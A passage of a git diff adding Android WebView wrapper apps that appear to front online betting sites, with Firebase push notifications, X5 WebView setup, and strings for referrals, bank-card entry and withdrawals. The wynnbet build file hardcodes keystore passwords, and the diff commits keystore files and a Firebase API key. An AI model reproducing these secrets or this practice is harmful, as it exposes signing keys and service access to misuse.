+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/java/com/xyz/w8a/MainActivity.java b/wombat88/src/main/java/com/xyz/w8a/MainActivity.java new file mode 100644 index 0000000..b0729ca --- /dev/null +++ b/wombat88/src/main/java/com/xyz/w8a/MainActivity.java @@ -0,0 +1,62 @@ +package com.xyz.w8a; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 46; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.wombat88.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ffffff"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ffffff"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/wombat88/src/main/java/com/xyz/w8a/MyFirebaseMessageingService.java b/wombat88/src/main/java/com/xyz/w8a/MyFirebaseMessageingService.java new file mode 100644 index 0000000..03b0d8b --- /dev/null +++ b/wombat88/src/main/java/com/xyz/w8a/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.w8a; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/wombat88/src/main/java/com/xyz/w8a/WebApplication.java b/wombat88/src/main/java/com/xyz/w8a/WebApplication.java new file mode 100644 index 0000000..1f94139 --- /dev/null +++ b/wombat88/src/main/java/com/xyz/w8a/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.w8a; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/wombat88/src/main/res/drawable-anydpi/ic_action_back.xml b/wombat88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/wombat88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/wombat88/src/main/res/drawable-hdpi/ic_action_back.png b/wombat88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/wombat88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/wombat88/src/main/res/drawable-mdpi/ic_action_back.png b/wombat88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/wombat88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/wombat88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/wombat88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/wombat88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/drawable-xhdpi/ic_action_back.png b/wombat88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/wombat88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/wombat88/src/main/res/drawable-xxhdpi/ic_action_back.png b/wombat88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/wombat88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/wombat88/src/main/res/drawable/big_bg.xml b/wombat88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..739515b --- /dev/null +++ b/wombat88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/drawable/ic_launcher_background.xml b/wombat88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/wombat88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/wombat88/src/main/res/drawable/input_bg.xml b/wombat88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/wombat88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/wombat88/src/main/res/drawable/pass_word_bg.xml b/wombat88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/wombat88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/wombat88/src/main/res/drawable/pass_word_bg1.xml b/wombat88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/wombat88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/drawable/pass_word_bg2.xml b/wombat88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/wombat88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/drawable/shape_btn_bg.xml b/wombat88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/wombat88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/drawable/shape_dialog_bg2.xml b/wombat88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/wombat88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/drawable/shape_dialog_bg3.xml b/wombat88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/wombat88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/drawable/shape_dialog_bg_new.xml b/wombat88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/wombat88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/wombat88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/wombat88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/wombat88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/wombat88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/mipmap-hdpi/ic_empty.png b/wombat88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/wombat88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/wombat88/src/main/res/mipmap-hdpi/ic_pull_down.png b/wombat88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/wombat88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/wombat88/src/main/res/mipmap-xhdpi/ic_close.png b/wombat88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/wombat88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/wombat88/src/main/res/mipmap-xhdpi/ic_menu.png b/wombat88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/wombat88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/wombat88/src/main/res/mipmap-xxhdpi/app_logo.png b/wombat88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..ca777be Binary files /dev/null and b/wombat88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/wombat88/src/main/res/values-en/strings.xml b/wombat88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/wombat88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/wombat88/src/main/res/values-night/themes.xml b/wombat88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/wombat88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/values/colors.xml b/wombat88/src/main/res/values/colors.xml new file mode 100644 index 0000000..f9e3d04 --- /dev/null +++ b/wombat88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #6b6396 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/wombat88/src/main/res/values/strings.xml b/wombat88/src/main/res/values/strings.xml new file mode 100644 index 0000000..eb983cb --- /dev/null +++ b/wombat88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + WOMBAT88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/values/themes.xml b/wombat88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/wombat88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/xml/app_updater_paths.xml b/wombat88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/wombat88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/xml/network_security_config.xml b/wombat88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/wombat88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/wombat88/src/main/res/xml/provider_paths.xml b/wombat88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/wombat88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/wombat88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/wombat88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/wombat88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/wynnbet/.gitignore b/wynnbet/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/wynnbet/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/wynnbet/build.gradle b/wynnbet/build.gradle new file mode 100644 index 0000000..6a22cf0 --- /dev/null +++ b/wynnbet/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.wynnbet" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "wynnbet" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/wynnbet/dskjweb.jks b/wynnbet/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/wynnbet/dskjweb.jks differ diff --git a/wynnbet/google-services.json b/wynnbet/google-services.json new file mode 100644 index 0000000..bb8664b --- /dev/null +++ b/wynnbet/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "815336733548", + "project_id": "wynnbet-ef473", + "storage_bucket": "wynnbet-ef473.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:815336733548:android:710f6e32101ff72ad61149", + "android_client_info": { + "package_name": "com.web.wynnbet" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBfpKOZQxdkXpHsMo1mKFFHxoXDP9FZxn0" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/wynnbet/ppn.jks b/wynnbet/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/wynnbet/ppn.jks differ diff --git a/wynnbet/proguard-rules.pro b/wynnbet/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/wynnbet/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/wynnbet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/wynnbet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/wynnbet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/wynnbet/src/main/AndroidManifest.xml b/wynnbet/src/main/AndroidManifest.xml new file mode 100644 index 0000000..6a4b1fc --- /dev/null +++ b/wynnbet/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/wynnbet/src/main/java/com/web/wynnbet/MainActivity.java b/wynnbet/src/main/java/com/web/wynnbet/MainActivity.java new file mode 100644 index 0000000..1beed7c --- /dev/null +++ b/wynnbet/src/main/java/com/web/wynnbet/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.wynnbet; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 196; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","http://wynnbetau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#2d1855"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#2e1956"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/wynnbet/src/main/java/com/web/wynnbet/MyFirebaseMessageingService.java b/wynnbet/src/main/java/com/web/wynnbet/MyFirebaseMessageingService.java new file mode 100644 index 0000000..22bf745 --- /dev/null +++ b/wynnbet/src/main/java/com/web/wynnbet/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.wynnbet; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new 